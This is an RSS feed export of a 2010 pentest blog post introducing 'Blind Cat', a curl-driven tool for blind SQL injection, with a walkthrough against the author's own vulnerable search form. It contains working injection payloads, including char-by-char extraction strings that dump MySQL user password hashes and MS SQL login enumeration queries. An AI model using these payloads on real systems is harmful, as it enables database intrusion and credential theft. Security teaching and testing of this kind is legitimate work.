<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IT Security Lab &#187; blind cat</title>
	<atom:link href="http://itsecuritylab.eu/index.php/tag/blind-cat/feed/" rel="self" type="application/rss+xml" />
	<link>http://itsecuritylab.eu</link>
	<description>The Playground for IT Security Specialists and Pentesters</description>
	<lastBuildDate>Wed, 13 Apr 2011 11:06:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Blind SQL Injection Exploitation with &#8220;Blind Cat&#8221; tool</title>
		<link>http://itsecuritylab.eu/index.php/2010/08/31/blind-sql-injection-exploitation-with-blind-cat-tool/</link>
		<comments>http://itsecuritylab.eu/index.php/2010/08/31/blind-sql-injection-exploitation-with-blind-cat-tool/#comments</comments>
		<pubDate>Tue, 31 Aug 2010 20:00:52 +0000</pubDate>
		<dc:creator>Aleks</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Exploitation practice]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[blind cat]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[blind sql injection exploitation]]></category>
		<category><![CDATA[expliting sql injection]]></category>
		<category><![CDATA[exploit MS SQL]]></category>

		<guid isPermaLink="false">http://itsecuritylab.eu/?p=833</guid>
		<description><![CDATA[Folks, believe you or not but it finally happened. I wrote yet another sql injection exploitation tool. You may ask why-oh-why you created another weird proggy, especially when there are already about zillion of similar tools in the Internet?... Well, there are some reasons. First of all: I wanted to be sure I got right [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/blind-cat.png"><img class="alignleft size-full wp-image-834" style="padding-right: 10px;" title="blind-cat" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/blind-cat.png" alt="" width="183" height="63" /></a>Folks, believe you or not but it finally happened. I wrote <a title="Blind Cat - Blind SQL Injection Exploitation Tool" href="http://itsecuritylab.eu/files/blind_cat/blind_cat.zip" target="_blank">yet another sql injection exploitation tool</a>. You may ask why-oh-why you created another weird proggy, especially when there are already about zillion of similar tools in the Internet?... Well, there are some reasons. First of all: I wanted to be sure I got right the whole idea of how SQL injections should be properly exploited. Second: I wanted to created something, which is useful <span style="text-decoration: underline;">for me</span> (you know, all IT guys are slightly freaks and egocentrics). And the third: I wanted to test slightly different approach which comes to my head.</p>
<p>If you want kind of a "shortcut" you may see the video how the tool works (below). Otherwise, read the whole story step by step (recommended). Important: Blind Cat is <strong>not fully automated tool </strong>(not a kind of "one-click-ownage"), but if you will catch the idea of it - in return you would get a huge flexibility to exploit even most difficult blind SQL injections. But remember: <strong>you are the one who is exploiting</strong>, not the tool! :)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="330" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/Dkp4artwJnE?fs=1&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="550" height="330" src="http://www.youtube.com/v/Dkp4artwJnE?fs=1&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<h3>Why another tool for exploiting blind SQL injection?</h3>
<p>The main reason is that <a title="Blind SQL injection - by OWASP" href="http://www.owasp.org/index.php/Blind_SQL_Injection" target="_blank">blind SQL injections</a>, by their nature, often are <strong>very different</strong>. They have different smells, colors and flavors so I must say it's hell-difficult to find a right tools which would suite all cases. If you have the one - please be a good boy/girl and drop me a line. And a link. ;) But for now, let's make a list of features for such magic program. So it should be able to:</p>
<ul>
<li>Be independent from SQL engine (support MS SQL, MySQL, Oracle, DB2, Firebird, etc.).</li>
<li>Be independent from SQL language differences between different systems.</li>
<li>Support "true/false", "true/error" and time-based conditions (maybe more).</li>
<li>Be able to send HTTP request (GET or POST) to vulnerable web applications, with many different parameters.</li>
<li>Support HTTP and HTTPS.</li>
<li>It may be required to provide tons of custom cookies, viewstates, etc.</li>
<li>It may also be required to send custom HTTP header (referrers, browser info, etc.).</li>
<li>It would be nice to be able use a HTTP proxy if needed (kind of "debug mode" for our exploitation).</li>
<li>It should be possible to execute <strong>any SQL query</strong> (assuming the remote system and the vulnerability allow it).</li>
<li>The tool should be reasonably easy to use (hmm... that's could be a tough one).</li>
</ul>
<p>So you still think you already have a right tool, aren't you?... ;)</p>
<h3>Swiss army knife for building HTTP requests</h3>
<p>Ok, so let's think what is <strong>most generic of all above</strong>? To exploit blind SQL injection you must be able to <strong>send custom HTTP request</strong>, get the response, modify the request, get the response again and compare (and again and again...). So what if we will be using some third-party tool (easy to use and well-documented) for constructing and sending such requests and then only write a kind of "automation tool" for it (we don't want to reinvent a wheel, right?).</p>
<p>After some consideration the tool for sending requests was chosen. And it was <a title="CURL" href="http://curl.haxx.se/" target="_blank"><strong>CURL</strong></a>. I am 100% sure: every "IT guy" is familiar with it (honestly: I never met the one who never used it). So if you have some personal doubts regarding the tool - my advise: <a title="CURL manual" href="http://curl.haxx.se/docs/" target="_blank">RTFM</a>. ;)</p>
<h3>The "Blind Cat"</h3>
<p>This is, once again,  kind a proof of concept rather the final product. So what is the basic idea of operating Blind Cat?</p>
<p><strong>The tool (Blind Cat) is running multiple instances of CURL, which send parametrized HTTP requests to the vulnerable web application. Then responses are analyzed and another requests with modified parameters are issued until the correct characters in SQL response are detected.</strong></p>
<p>Assuming you are dealing with blind SQL injection in a web application, this is what you should do to exploit it:</p>
<ul>
<li>You have to <strong>build custom HTTP request</strong> (saved it in <strong>curl.config</strong>) with all "bells and whistles" needed (custom header, cookies, etc.).</li>
<li>You have to <strong>write your own SQL query</strong> to exploit SQL injection (also written in <strong>curl.config</strong>). You also should put some tags in places of all iterations (characters, rows, etc.).</li>
<li>You have to<strong> define the condition for "true" or "false"</strong>, response boundaries (expected length of response) and also expected number of rows you may get in return.</li>
<li>Click the button <strong>"RUN"</strong> and enjoy :).</li>
</ul>
<p>Let's try to exploit something with Blind Cat and see how it works:</p>
<h3>Sample exploitation</h3>
<p>This is simple vulnerable application I made. The input from the search form is not sanitized, so we have typical blind SQL injection. SQL engine = MySQL.</p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot01.png"><img class="alignnone size-full wp-image-839" title="shot01" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot01.png" alt="" width="507" height="313" /></a></p>
<p>Checking for blind SQL injection (actually you may see it in the movie):</p>
<p><strong>en' and 1=1#</strong> --&gt; you <span style="text-decoration: underline;">see</span> the table with search results</p>
<p><strong>en' and 1=2#</strong> --&gt; you <span style="text-decoration: underline;">don't see</span> the table with search results</p>
<p>Now let's preview the web page's HTML source and find something which will be used to differentiate condition "true" from "false". Here it is:</p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot03.png"><img class="alignnone size-full wp-image-847" title="shot03" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot03.png" alt="" width="360" height="151" /></a></p>
<p>So this fragment of the code: <span style="color: #ff0000;"><strong>&lt;td&gt;1&lt;/td&gt;</strong></span> is rendered in case of <strong>en' and 1=1#</strong> condition. Nice. If we will intercept the request from our web browser e.g. in <a title="Burp Suite" href="http://portswigger.net/suite/" target="_blank">Burp Suite</a> - this is what we may see:</p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot02.png"><img class="alignnone size-full wp-image-850" title="shot02" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot02.png" alt="" width="451" height="190" /></a></p>
<p>Of course, such request may be much more complicated, but the important thing here is: <strong>we may copy it and repeat "as it is</strong>". Now let's change our request parameters in <strong>curl.config</strong> so we may be able to "mimic" the HTTP request from above and also execute the following SQL query:</p>
<pre><span style="color: #ff0000;">SELECT @@VERSION</span></pre>
<p>Look at this file. This HTTP header is exactly what CURL will be sending to our web application:</p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot05.png"><img class="alignnone size-full wp-image-848" title="shot05" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot05.png" alt="" width="445" height="221" /></a></p>
<p>The last string should be replaced with something like this:</p>
<pre>#-------------------------------------- GET/POST parameters
<span style="color: #ff0000;">-d "keyword=en'%20and%201=(SELECT%20ORD(SUBSTR(@@VERSION,&lt;char_position&gt;,1))&gt;&lt;char_value&gt;)#"</span></pre>
<p>I assume<em> you know how blind SQL injection may be exploited</em> to get some data char-by-char, so I am not going deep into explanations about this query.</p>
<p>After you will check if all paths are correct in <strong>BlindCat.ini</strong> (self explanatory) - it's time to run the Blind Cat! The user interface is quite easy:</p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot07_blind_cat_overview.png"><img class="alignnone size-full wp-image-852" title="shot07_blind_cat_overview" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot07_blind_cat_overview.png" alt="" width="484" height="292" /></a></p>
<p>Keep attention to the <strong>Keyword for "true"</strong>. This is very important variable! Now press RUN button and see the delightful view how the data is extracted. :) <em>(ach, you've been already seeing the movie, isn't it)</em></p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/running_threads.png"><img class="alignnone size-full wp-image-855" title="running_threads" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/running_threads.png" alt="" width="330" height="103" /></a></p>
<p>The tool is<strong> running multiple threads</strong> at the same time, so <strong>exploitation is pretty fast</strong>. You may change nr of threads, but don't expect 20 or 30 be better then 5. Sample experiment quickly shown that<strong> 5-6 threads is good enough</strong>. In fact, if more then 5 threads are in use - the overall exploitation time is not dropping down significantly, but at the same time your processor's usage will be increased.</p>
<p><a href="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot06_statistics.png"><img class="alignnone size-full wp-image-856" title="shot06_statistics" src="http://itsecuritylab.eu/wp-content/uploads/2010/08/shot06_statistics.png" alt="" width="491" height="216" /></a></p>
<p>Ok, this is it. If you want to try more samples from the movie, here they are:</p>
<p><strong>Get all databases</strong> (still in MySQL). SQL query:</p>
<pre>SELECT schema_name FROM information_schema.schemata</pre>
<p>...and the config:</p>
<pre>#-------------------------------------- GET/POST parameters
-d "keyword=en'%20and%201=(SELECT%20(ORD(SUBSTR((SELECT%20schema_name%20FROM%20information_schema.schemata%20LIMIT%20&lt;main_iterator&gt;,%201),&lt;char_position&gt;,&lt;char_value&gt;))&gt;&lt;char_value&gt;))#"</pre>
<p><strong>Get users' combined info. </strong>SQL query:</p>
<pre>SELECT CONCAT(HOST,'|',USER,'|',PASSWORD) FROM mysql.user LIMIT 0, 1</pre>
<p>...and the config:</p>
<pre>#-------------------------------------- GET/POST parameters
-d "keyword=en'%20and%201=(SELECT%20(ORD(SUBSTR((SELECT%20CONCAT(HOST,'|',USER,'|',PASSWORD)%20FROM%20mysql.user%20LIMIT%20&lt;main_iterator&gt;,%201),%20&lt;char_position&gt;,%201))%20&gt;%20&lt;char_value&gt;))#"</pre>
<p>FYI: if you want to make a <strong>multiline response when exploiting MS SQL server</strong> - we should use slightly different SQL query pattern because <strong>we don't have LIMIT keyword in MS SQL</strong>. :-( So this is what we should do:</p>
<pre>SELECT top 1 name FROM master..syslogins where name not in (SELECT top <span style="color: #ff0000;">0</span> name FROM master..syslogins)</pre>
<p>then for the next row:</p>
<pre>SELECT top 1 name FROM master..syslogins where name not in (SELECT top <span style="color: #ff0000;">1</span> name FROM master..syslogins)</pre>
<p>...and so on. You've got the idea where the <strong>&lt;main_iterator&gt;</strong> tag goes, right?</p>
<p>I have almost forgotten: the tool may be downloaded from <a title="Blind Cat - Blind SQL Injection Exploitation Tool" href="http://itsecuritylab.eu/files/blind_cat/blind_cat.zip" target="_blank"><strong>[here]</strong></a>, and the source code in Delphi may be found <a title="Blind Cat (source code)" href="http://itsecuritylab.eu/files/blind_cat/blind_cat_source.zip" target="_blank"><strong>[here]</strong></a>. Enjoy! :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://itsecuritylab.eu/index.php/2010/08/31/blind-sql-injection-exploitation-with-blind-cat-tool/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

